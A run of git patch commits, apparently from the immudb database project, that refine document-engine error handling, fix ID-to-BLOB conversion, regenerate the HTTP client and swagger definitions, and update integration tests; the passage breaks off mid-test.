file_documents_proto_depIdxs = []int32{ From 30296e456e3b2ecdeb0702fb01e61c09573f032c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 3 May 2023 22:47:41 -0300 Subject: [PATCH 0486/1062] chore(embedded/document): improve error handling Signed-off-by: Jeronimo Irazabal --- embedded/document/errors.go | 1 + embedded/document/type_conversions.go | 14 ++++---------- 2 files changed, 5 insertions(+), 10 deletions(-) diff --git a/embedded/document/errors.go b/embedded/document/errors.go index 13089d1f6a..3b5393b6a8 100644 --- a/embedded/document/errors.go +++ b/embedded/document/errors.go @@ -25,6 +25,7 @@ import ( var ( ErrIllegalArguments = store.ErrIllegalArguments ErrUnsupportedType = errors.New("unsupported type") + ErrUnexpectedValue = errors.New("unexpected value") ErrCollectionAlreadyExists = errors.New("collection already exists") ErrCollectionDoesNotExist = errors.New("collection does not exist") ErrMaxLengthExceeded = errors.New("max length exceeded") diff --git a/embedded/document/type_conversions.go b/embedded/document/type_conversions.go index 259b9ef359..d346feb9e3 100644 --- a/embedded/document/type_conversions.go +++ b/embedded/document/type_conversions.go @@ -29,31 +29,25 @@ var structValueToSqlValue = func(stype sql.SQLValueType, value *structpb.Value) case sql.VarcharType: _, ok := value.GetKind().(*structpb.Value_StringValue) if !ok { - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) } return sql.NewVarchar(value.GetStringValue()), nil case sql.IntegerType: _, ok := value.GetKind().(*structpb.Value_NumberValue) if !ok { - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) } return sql.NewInteger(int64(value.GetNumberValue())), nil - case sql.BLOBType: - _, ok := value.GetKind().(*structpb.Value_StructValue) - if !ok { - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) - } - return sql.NewBlob([]byte(value.GetStructValue().String())), nil case sql.Float64Type: _, ok := value.GetKind().(*structpb.Value_NumberValue) if !ok { - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) } return sql.NewFloat64(value.GetNumberValue()), nil case sql.BooleanType: _, ok := value.GetKind().(*structpb.Value_BoolValue) if !ok { - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) } return sql.NewBool(value.GetBoolValue()), nil } From d09ef50a8c311db77b2c5b960a5ea036ffc30238 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 3 May 2023 23:33:50 -0300 Subject: [PATCH 0487/1062] fix(embedded/document): id field conversion Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 12 ------------ embedded/document/type_conversions.go | 12 ++++++++++++ 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 4ad471550e..f4286b1b7d 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -523,21 +523,9 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti } func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Struct) (*sql.RowSpec, error) { - idFieldName := docIDFieldName(table) - values := make([]sql.ValueExp, len(table.Cols())) for i, col := range table.Cols() { - if col.Name() == idFieldName { - docID, err := NewDocumentIDFromHexEncodedString(doc.Fields[col.Name()].GetStringValue()) - if err != nil { - return nil, err - } - - values[i] = sql.NewBlob(docID[:]) - continue - } - if col.Name() == DocumentBLOBField { bs, err := json.Marshal(doc) if err != nil { diff --git a/embedded/document/type_conversions.go b/embedded/document/type_conversions.go index d346feb9e3..768d8af212 100644 --- a/embedded/document/type_conversions.go +++ b/embedded/document/type_conversions.go @@ -38,6 +38,18 @@ var structValueToSqlValue = func(stype sql.SQLValueType, value *structpb.Value) return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) } return sql.NewInteger(int64(value.GetNumberValue())), nil + case sql.BLOBType: + _, ok := value.GetKind().(*structpb.Value_StringValue) + if !ok { + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) + } + + docID, err := NewDocumentIDFromHexEncodedString(value.GetStringValue()) + if err != nil { + return nil, err + } + + return sql.NewBlob(docID[:]), nil case sql.Float64Type: _, ok := value.GetKind().(*structpb.Value_NumberValue) if !ok { From 9e9a354f7315cff78eda060bc2e633a69294a7ef Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 3 May 2023 23:34:53 -0300 Subject: [PATCH 0488/1062] chore(pkg/api): manual adjustments post-code generation Signed-off-by: Jeronimo Irazabal --- Makefile | 2 +- pkg/api/httpclient/client.go | 147 ++++++++------------------- pkg/api/openapi/apidocs.swagger.json | 61 +++++------ 3 files changed, 70 insertions(+), 140 deletions(-) diff --git a/Makefile b/Makefile index d654d30a8a..5bce3b0bcc 100644 --- a/Makefile +++ b/Makefile @@ -204,7 +204,7 @@ build/codegenv2: --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/protomodel \ --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/protomodel \ --doc_out=pkg/api/protomodel --doc_opt=markdown,docs.md \ - --openapiv2_out=allow_merge=true,simple_operation_ids=true,disable_service_tags=true:pkg/api/openapi \ + --swagger_out=logtostderr=true,allow_merge=true,simple_operation_ids=true:pkg/api/openapi \ ./swagger/dist: rm -rf swagger/dist/ diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 251efddc95..46c8a3fb2c 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -209,7 +209,7 @@ type ModelField struct { type ModelFieldComparison struct { Field *string `json:"field,omitempty"` Operator *ModelComparisonOperator `json:"operator,omitempty"` - Value *map[string]interface{} `json:"value,omitempty"` + Value interface{} `json:"value,omitempty"` } // ModelFieldType defines model for modelFieldType. @@ -338,7 +338,7 @@ type ModelQueryExpression struct { // "value": "1.212s" // } type ProtobufAny struct { - // Type A URL/resource name that uniquely identifies the type of the serialized + // TypeUrl A URL/resource name that uniquely identifies the type of the serialized // protocol buffer message. This string must contain at least // one "/" character. The last segment of the URL's path must represent // the fully qualified name of the type (as in @@ -365,14 +365,17 @@ type ProtobufAny struct { // // Schemes other than `http`, `https` (or the empty scheme) might be // used with implementation specific semantics. - Type *string `json:"@type,omitempty"` - AdditionalProperties map[string]map[string]interface{} `json:"-"` + TypeUrl *string `json:"type_url,omitempty"` + + // Value Must be a valid serialized protocol buffer of the above specified type. + Value *[]byte `json:"value,omitempty"` } -// RpcStatus defines model for rpcStatus. -type RpcStatus struct { +// RuntimeError defines model for runtimeError. +type RuntimeError struct { Code *int32 `json:"code,omitempty"` Details *[]ProtobufAny `json:"details,omitempty"` + Error *string `json:"error,omitempty"` Message *string `json:"message,omitempty"` } @@ -528,74 +531,6 @@ type IndexCreateJSONRequestBody = ModelIndexCreateRequest // IndexDeleteJSONRequestBody defines body for IndexDelete for application/json ContentType. type IndexDeleteJSONRequestBody = ModelIndexDeleteRequest -// Getter for additional properties for ProtobufAny. Returns the specified -// element and whether it was found -func (a ProtobufAny) Get(fieldName string) (value map[string]interface{}, found bool) { - if a.AdditionalProperties != nil { - value, found = a.AdditionalProperties[fieldName] - } - return -} - -// Setter for additional properties for ProtobufAny -func (a *ProtobufAny) Set(fieldName string, value map[string]interface{}) { - if a.AdditionalProperties == nil { - a.AdditionalProperties = make(map[string]map[string]interface{}) - } - a.AdditionalProperties[fieldName] = value -} - -// Override default JSON handling for ProtobufAny to handle AdditionalProperties -func (a *ProtobufAny) UnmarshalJSON(b []byte) error { - object := make(map[string]json.RawMessage) - err := json.Unmarshal(b, &object) - if err != nil { - return err - } - - if raw, found := object["@type"]; found { - err = json.Unmarshal(raw, &a.Type) - if err != nil { - return fmt.Errorf("error reading '@type': %w", err) - } - delete(object, "@type") - } - - if len(object) != 0 { - a.AdditionalProperties = make(map[string]map[string]interface{}) - for fieldName, fieldBuf := range object { - var fieldVal map[string]interface{} - err := json.Unmarshal(fieldBuf, &fieldVal) - if err != nil { - return fmt.Errorf("error unmarshalling field %s: %w", fieldName, err) - } - a.AdditionalProperties[fieldName] = fieldVal - } - } - return nil -} - -// Override default JSON handling for ProtobufAny to handle AdditionalProperties -func (a ProtobufAny) MarshalJSON() ([]byte, error) { - var err error - object := make(map[string]json.RawMessage) - - if a.Type != nil { - object["@type"], err = json.Marshal(a.Type) - if err != nil { - return nil, fmt.Errorf("error marshaling '@type': %w", err) - } - } - - for fieldName, field := range a.AdditionalProperties { - object[fieldName], err = json.Marshal(field) - if err != nil { - return nil, fmt.Errorf("error marshaling '%s': %w", fieldName, err) - } - } - return json.Marshal(object) -} - // RequestEditorFn is the function signature for the RequestEditor callback function type RequestEditorFn func(ctx context.Context, req *http.Request) error @@ -1884,7 +1819,7 @@ type CloseSessionResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelCloseSessionResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -1907,7 +1842,7 @@ type KeepAliveResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelKeepAliveResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -1930,7 +1865,7 @@ type OpenSessionResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ImmudbmodelOpenSessionResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -1953,7 +1888,7 @@ type CollectionCreateResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelCollectionCreateResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -1976,7 +1911,7 @@ type CollectionDeleteResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelCollectionDeleteResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -1999,7 +1934,7 @@ type CollectionGetResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelCollectionGetResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2022,7 +1957,7 @@ type CollectionListResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelCollectionListResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2045,7 +1980,7 @@ type CollectionUpdateResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelCollectionUpdateResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2068,7 +2003,7 @@ type DocumentAuditResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelDocumentAuditResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2091,7 +2026,7 @@ type DocumentInsertResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelDocumentInsertResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2114,7 +2049,7 @@ type DocumentInsertManyResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelDocumentInsertManyResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2137,7 +2072,7 @@ type DocumentProofResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelDocumentProofResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2160,7 +2095,7 @@ type DocumentSearchResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelDocumentSearchResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2183,7 +2118,7 @@ type DocumentUpdateResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelDocumentUpdateResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2206,7 +2141,7 @@ type IndexCreateResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelIndexCreateResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2229,7 +2164,7 @@ type IndexDeleteResponse struct { Body []byte HTTPResponse *http.Response JSON200 *ModelIndexDeleteResponse - JSONDefault *RpcStatus + JSONDefault *RuntimeError } // Status returns HTTPResponse.Status @@ -2526,7 +2461,7 @@ func ParseCloseSessionResponse(rsp *http.Response) (*CloseSessionResponse, error response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2559,7 +2494,7 @@ func ParseKeepAliveResponse(rsp *http.Response) (*KeepAliveResponse, error) { response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2592,7 +2527,7 @@ func ParseOpenSessionResponse(rsp *http.Response) (*OpenSessionResponse, error) response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2625,7 +2560,7 @@ func ParseCollectionCreateResponse(rsp *http.Response) (*CollectionCreateRespons response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2658,7 +2593,7 @@ func ParseCollectionDeleteResponse(rsp *http.Response) (*CollectionDeleteRespons response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2691,7 +2626,7 @@ func ParseCollectionGetResponse(rsp *http.Response) (*CollectionGetResponse, err response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2724,7 +2659,7 @@ func ParseCollectionListResponse(rsp *http.Response) (*CollectionListResponse, e response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2757,7 +2692,7 @@ func ParseCollectionUpdateResponse(rsp *http.Response) (*CollectionUpdateRespons response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2790,7 +2725,7 @@ func ParseDocumentAuditResponse(rsp *http.Response) (*DocumentAuditResponse, err response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2823,7 +2758,7 @@ func ParseDocumentInsertResponse(rsp *http.Response) (*DocumentInsertResponse, e response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2856,7 +2791,7 @@ func ParseDocumentInsertManyResponse(rsp *http.Response) (*DocumentInsertManyRes response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2889,7 +2824,7 @@ func ParseDocumentProofResponse(rsp *http.Response) (*DocumentProofResponse, err response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2922,7 +2857,7 @@ func ParseDocumentSearchResponse(rsp *http.Response) (*DocumentSearchResponse, e response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2955,7 +2890,7 @@ func ParseDocumentUpdateResponse(rsp *http.Response) (*DocumentUpdateResponse, e response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2988,7 +2923,7 @@ func ParseIndexCreateResponse(rsp *http.Response) (*IndexCreateResponse, error) response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -3021,7 +2956,7 @@ func ParseIndexDeleteResponse(rsp *http.Response) (*IndexDeleteResponse, error) response.JSON200 = &dest case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RpcStatus + var dest RuntimeError if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 4c281a1bfe..128d71b117 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -26,7 +26,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -58,7 +58,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -90,7 +90,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -123,7 +123,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -155,7 +155,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -185,7 +185,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -215,7 +215,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -247,7 +247,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -279,7 +279,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -311,7 +311,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -343,7 +343,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -375,7 +375,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -407,7 +407,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -439,7 +439,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -471,7 +471,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -503,7 +503,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/rpcStatus" + "$ref": "#/definitions/runtimeError" } } }, @@ -575,14 +575,12 @@ "fields": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/modelField" } }, "indexes": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/modelIndex" } } @@ -600,14 +598,12 @@ "fields": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/modelField" } }, "indexes": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/modelIndex" } } @@ -636,7 +632,6 @@ "collections": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/modelCollection" } } @@ -713,7 +708,6 @@ "revisions": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/modelDocumentAtRevision" } } @@ -846,7 +840,6 @@ "revisions": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/modelDocumentAtRevision" } } @@ -902,7 +895,8 @@ "operator": { "$ref": "#/definitions/modelComparisonOperator" }, - "value": {} + "value": { + } } }, "modelFieldType": { @@ -978,7 +972,6 @@ "expressions": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/modelQueryExpression" } } @@ -990,7 +983,6 @@ "fieldComparisons": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/modelFieldComparison" } } @@ -999,12 +991,16 @@ "protobufAny": { "type": "object", "properties": { - "@type": { + "type_url": { "type": "string", "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." + }, + "value": { + "type": "string", + "format": "byte", + "description": "Must be a valid serialized protocol buffer of the above specified type." } }, - "additionalProperties": {}, "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { @@ -1015,9 +1011,12 @@ "default": "NULL_VALUE", "description": "`NullValue` is a singleton enumeration to represent the null value for the\n`Value` type union.\n\n The JSON representation for `NullValue` is JSON `null`.\n\n - NULL_VALUE: Null value." }, - "rpcStatus": { + "runtimeError": { "type": "object", "properties": { + "error": { + "type": "string" + }, "code": { "type": "integer", "format": "int32" @@ -1028,7 +1027,6 @@ "details": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/protobufAny" } } @@ -1180,7 +1178,6 @@ "entries": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/schemaTxEntry" }, "title": "Raw entry values" @@ -1188,7 +1185,6 @@ "kvEntries": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/schemaEntry" }, "title": "KV entries in the transaction (parsed)" @@ -1196,7 +1192,6 @@ "zEntries": { "type": "array", "items": { - "type": "object", "$ref": "#/definitions/schemaZEntry" }, "title": "Sorted Set entries in the transaction (parsed)" From c0bf9989ac68ba0fc65a6cd8752242ebe8082416 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 3 May 2023 23:39:13 -0300 Subject: [PATCH 0489/1062] test: upgrade integration test Signed-off-by: Jeronimo Irazabal --- .../documents_tests/auth_test.go | 16 +++++---- .../documents_tests/collections_test.go | 17 +++++---- .../documents_tests/documents_test.go | 35 ++++++++++--------- .../documents_tests/utils.go | 24 +++++-------- 4 files changed, 47 insertions(+), 45 deletions(-) diff --git a/test/document_storage_tests/documents_tests/auth_test.go b/test/document_storage_tests/documents_tests/auth_test.go index 8ac0d953d2..86f25ba7b4 100644 --- a/test/document_storage_tests/documents_tests/auth_test.go +++ b/test/document_storage_tests/documents_tests/auth_test.go @@ -22,32 +22,34 @@ import ( "github.com/codenotary/immudb/pkg/api/httpclient" - "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestAuthentication(t *testing.T) { - authClient := getAuthorizedClient() + client := getClient() badLogin := "immudbXXX" badPassword := "immudbXXX" badDatabase := "defaultdbXXX" - response, _ := authClient.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{ + response, err := client.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{ Username: &badLogin, Password: &badPassword, Database: &badDatabase, }) - assert.True(t, *response.JSONDefault.Message == "invalid user name or password") + require.NoError(t, err) + require.True(t, *response.JSONDefault.Message == "invalid user name or password") defaultLogin := "immudb" defaultPassword := "immudb" defaultDatabase := "defaultdb" - response, _ = authClient.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{ + response, err = client.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{ Username: &defaultLogin, Password: &defaultPassword, Database: &defaultDatabase, }) - assert.True(t, response.StatusCode() == 200) - assert.True(t, len(*response.JSON200.SessionID) > 0) + require.NoError(t, err) + require.True(t, response.StatusCode() == 200) + require.True(t, len(*response.JSON200.SessionID) > 0) } diff --git a/test/document_storage_tests/documents_tests/collections_test.go b/test/document_storage_tests/documents_tests/collections_test.go index 15fc8c8fad..2cd0e74de2 100644 --- a/test/document_storage_tests/documents_tests/collections_test.go +++ b/test/document_storage_tests/documents_tests/collections_test.go @@ -27,29 +27,32 @@ import ( func TestCreateCollection(t *testing.T) { client := getAuthorizedClient() - collection, err := createRandomCollection(client) + err := createCollection(getStandarizedRandomString(), client) require.NoError(t, err) - require.NotNil(t, collection) } func TestGetCollection(t *testing.T) { client := getAuthorizedClient() - collection, err := createRandomCollection(client) + collectionName := getStandarizedRandomString() + + err := createCollection(collectionName, client) require.NoError(t, err) response, err := client.CollectionGetWithResponse(context.Background(), &httpclient.CollectionGetParams{ - Name: collection.Name, + Name: &collectionName, }) require.NoError(t, err) require.True(t, response.StatusCode() == 200) - require.True(t, *response.JSON200.Collection.Name == *collection.Name) + require.True(t, *response.JSON200.Collection.Name == collectionName) } func TestListCollections(t *testing.T) { client := getAuthorizedClient() - newCollection, err := createRandomCollection(client) + collectionName := getStandarizedRandomString() + + err := createCollection(collectionName, client) require.NoError(t, err) response, _ := client.CollectionListWithResponse(context.Background(), httpclient.CollectionListJSONRequestBody{}) @@ -58,7 +61,7 @@ func TestListCollections(t *testing.T) { collectionFound := false for _, collection := range *response.JSON200.Collections { - if *collection.Name == *newCollection.Name { + if *collection.Name == collectionName { collectionFound = true break } diff --git a/test/document_storage_tests/documents_tests/documents_test.go b/test/document_storage_tests/documents_tests/documents_test.go index 6be2c4a5ce..5e741e5c40 100644 --- a/test/document_storage_tests/documents_tests/documents_test.go +++ b/test/document_storage_tests/documents_tests/documents_test.go @@ -29,25 +29,29 @@ import ( func TestCreateDocument(t *testing.T) { client := getAuthorizedClient() - id := uuid.New() - documentId := id.String() + uuid := uuid.New() documentToInsert := make(map[string]interface{}) - documentToInsert["_id"] = id.String() + documentToInsert["uuid"] = uuid.String() documentToInsert["name"] = "John" documentToInsert["surname"] = "Doe" documentToInsert["age"] = 30 - collection, err := createRandomCollection(client) + collectionName := getStandarizedRandomString() + + err := createCollection(collectionName, client) require.NoError(t, err) req := httpclient.ModelDocumentInsertRequest{ - Collection: collection.Name, + Collection: &collectionName, Document: &documentToInsert, } - response, _ := client.DocumentInsertWithResponse(context.Background(), req) + response, err := client.DocumentInsertWithResponse(context.Background(), req) + require.NoError(t, err) require.True(t, response.StatusCode() == 200) + documentId := 